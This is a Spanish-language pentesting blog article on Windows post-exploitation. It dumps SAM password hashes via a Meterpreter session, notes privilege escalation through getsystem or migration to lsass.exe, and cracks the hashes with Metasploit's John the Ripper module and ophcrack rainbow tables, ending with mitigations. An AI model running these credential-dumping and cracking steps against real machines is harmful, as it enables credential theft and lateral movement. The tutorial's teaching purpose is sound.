Post-explotación con John the Ripper y ophcrack

Publicado en Artículos, Seguridad,


Tweet about this on TwitterShare on Google+0Share on Facebook0Share on LinkedIn0

El objetivo que se fija un pentester a la hora de hacer un test de intrusión se resumiría básicamente en intentar saber hasta donde es capaz de llegar. Por regla general, si conseguimos vulnerar una máquina que se encuentre seguramente en una DMZ, estaremos en una posición ventajosa para acceder a recursos que no están accesibles directamente desde Internet. Todo depende claro está de cómo de restringida se encuentre dicha máquina.

Una técnica que se suele utilizar y que sorprendentemente da buenos resultados es conseguir las credenciales de administrador del equipo vulnerado y comprobar si el resto de máquinas accesibles comparten la misma contraseña. En el caso de sistemas Windows, el sistema operativo almacena las contraseñas cifradas en el fichero SAM con los algoritmos LM o NTLM. En sistemas anteriores a Windows Vista o Windows 2008, el algoritmo de cifrado por defecto es LM. Desgraciadamente (o por suerte para el pentester) este cifrado es muy débil por su diseño: soporta un tamaño máximo de contraseña de 14 caracteres, no distingue mayúsculas de minúsculas, almacena el hash en dos mitades de 7 caracteres, y no añade “sal” en el almacenamiento para añadirle aleatoriedad, haciéndolo muy vulnerable a ataques por fuerza bruta o por tablas precomputadas.

Vamos a plantear una situación, en la que el pentester ha conseguido vulnerar una máquina Windows, utilizando algún exploit con el framework Metasploit, y obteniendo una sesión de meterpreter en el equipo víctima. Aprovechando las herramientas de post-explotación que dispone, conseguirá recuperar los hashes de las contraseñas para poder descifrarlas usando como ejemplo tanto herramientas de fuerza bruta como de tablas precomputadas.

Empezamos recuperando los hashes almacenados en la SAM:

meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 585b74c7ff838e022f0eec1055101b13...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:b15d5d5481a42f69a833d08036fe8423:88fb91f49c1bfbeebfb3531f241c887a:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:34cfaa8dea7015716ae64fefd9c7f205:::
victima:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

Este paso ha sido fácil, pero en la jungla salvaje no suele ser tan sencillo. Sin profundizar mucho sobre el tema, a veces necesitaremos permisos de Administrador o SYSTEM y habrá que escalar privilegios. La shell de meterpreter tiene varios métodos, aunque el más sencillo son los comandos priv y getsystem. Si escalando privilegios tampoco tuviéramos permiso para recuperar la SAM, es posible que sea necesario migrar el proceso de meterpreter al uid de un proceso creado por SYSTEM. Normalmente lsass.exe suele reunir dichas características.

Salimos de la sesion de meterpreter con la orden

meterpreter > background

Una mejora importante que han incluido en la versión 4 de Metasploit es que han integrado la base de datos dentro del core, por lo que ahora por defecto toda información que vayamos recuperando se irá almacenando automáticamente en un workspace de la base de datos. Estos datos podrán ser entonces utilizados por otros plugins. Vamos a comprobar que efectivamente los hashes están almacenados:

msf > creds
Credentials
===========

host port user pass type active?
---- ---- ---- ---- ---- -------
10.10.10.124 445 Administrator e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c smb_hash true
10.10.10.124 445 Guest aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 smb_hash true
10.10.10.124 445 HelpAssistant b15d5d5481a42f69a833d08036fe8423:88fb91f49c1bfbeebfb3531f241c887a smb_hash true
10.10.10.124 445 SUPPORT_388945a0 aad3b435b51404eeaad3b435b51404ee:34cfaa8dea7015716ae64fefd9c7f205 smb_hash true
10.10.10.124 445 victima e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c smb_hash true

[*] Found 5 credentials.

Comenzaremos utilizando el módulo de John the Ripper, introducido en la versión 4 de Metasploit. Su uso es extremadamente sencillo. Solo hay que cargar el módulo y lanzarlo. Él ya se encargará de leer los hashes del workspace donde estemos y darles caña.

msf > use auxiliary/analyze/jtr_crack_fast
msf auxiliary(jtr_crack_fast) > run
[*] Seeded the password database with 6 words...
guesses: 2 time: 0:00:00:04 DONE (Thu Aug 25 18:11:06 2011) c/s: 8170K trying: WNO1900 - ZZZ1900
Warning: passwords printed above might be partial and not be all those cracked
[cut]

Después de unos pocos instantes (en este caso, todo depende de la potencia de proceso del equipo) JtR termina informando que ha descifrado de forma exitosa los hashes. Veamos ahora que hay en la base de datos:

msf auxiliary(jtr_crack_fast) > creds
Credentials
===========

host port user pass type active?
---- ---- ---- ---- ---- -------
10.10.10.124 445 Administrator e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c smb_hash true
10.10.10.124 445 Guest aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 smb_hash true
10.10.10.124 445 HelpAssistant b15d5d5481a42f69a833d08036fe8423:88fb91f49c1bfbeebfb3531f241c887a smb_hash true
10.10.10.124 445 SUPPORT_388945a0 aad3b435b51404eeaad3b435b51404ee:34cfaa8dea7015716ae64fefd9c7f205 smb_hash true
10.10.10.124 445 victima e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c smb_hash true
10.10.10.124 445 Administrator password password true
10.10.10.124 445 Guest password true
10.10.10.124 445 victima password password true

[*] Found 8 credentials.

Ha actualizado la tabla de credenciales con las contraseñas descubiertas para cada usuario. Como se puede observar, la contraseña de administrador es “password”. Obviamente es una contraseña muy sencilla, de diccionario y no excesivamente larga. Si pusiéramos una palabra con caracteres especiales el módulo de Metasploit ahora mismo no sería capaz de descifrarlas, puesto que la adaptación de JtR a Metasploit está en una fase muy temprana y no permite ahora mismo configurar las opciones. Además, al añadirle complejidad a la contraseña, el tiempo de computación sería bastante más alto y quizás no crackee los hashes en un tiempo razonable.

Para estos casos, utilizar rainbow tables o tablas precomputadas es la solución ideal. Usaremos como ejemplo la herramienta ophcrack. Se encuentra disponible en la mayoría de distribuciones y su interfaz gráfica es muy sencilla de usar. Hará falta descargar aparte las rainbow tables. En la misma web se pueden conseguir algunas tablas de forma gratuita.

spanker@Zerus:~$ ophcrack-cli -d rainbowtables/ -t special,0,3:tables_xp_free_fast,0,3 -f hashdump
3 hashes have been found in hashdump.
Opened 2 table(s) from rainbowtables//special,0,3.
Opened 2 table(s) from rainbowtables//tables_xp_free_fast,0,3.
0h 0m 5s; Found password CHUNG4 for 2nd LM hash #0in table XP free fast #3 at column 4859.
0h 0m 10s; Found password PAL4BR@ for 1st LM hash #0in table XP special #0 at column 17711.
0h 0m 10s; Found password Pal4br@Chung4 for user victima (NT hash #0)
0h 0m 10s; search (100%); tables: total 4, done 0, using 3; pwd found 1/1.
Results:

username / hash LM password NT password
victima PAL4BR@CHUNG4 Pal4br@Chung4

Podemos observar que en tan solo 10 segundos ha conseguido crackear una contraseña compleja, “Pal4br@Chung4”. Obtenida la contraseña de administrador en texto plano, podemos probar a autenticarnos con dicha credencial en los servicios que sean visibles desde la máquina vulnerada, y a cruzar los dedos!

Este ejemplo sencillo de intrusión, sin embargo, se podría haber evitado si se hubieran tomado las siguiente medidas:

  • Nunca repetir contraseña en ningún servicio de ningún equipo. Si alguna de esas contraseñas sale a la luz, te evitas que el fallo de seguridad se propague a otros servicios.
  • Deshabilitar el uso de LM a la hora de almacenar las contraseñas en la SAM. Forzar el uso de NTLM.
  • Utilizar contraseñas fuertes. Si son de más de 14 caracteres también estás forzando a que se almacene solo con NTLM.
  • Aislar en la mayor medida de lo posible las máquinas de la red DMZ del resto de equipos. Que tenga visibilidad de únicamente los servicios que le sean estrictamente necesarios.
Post-explotación con John the Ripper y ophcrack
5 (100%) 1 voto

Etiquetas: , , ,


Deja un comentario

Cuanto es 21 + 7 ?
Please leave these two fields as-is:
IMPORTANTE! Necesitas resolver la operación matemática para poder continuar.

Newsletter

Redes sociales

Centro de soporte

Centro de recursos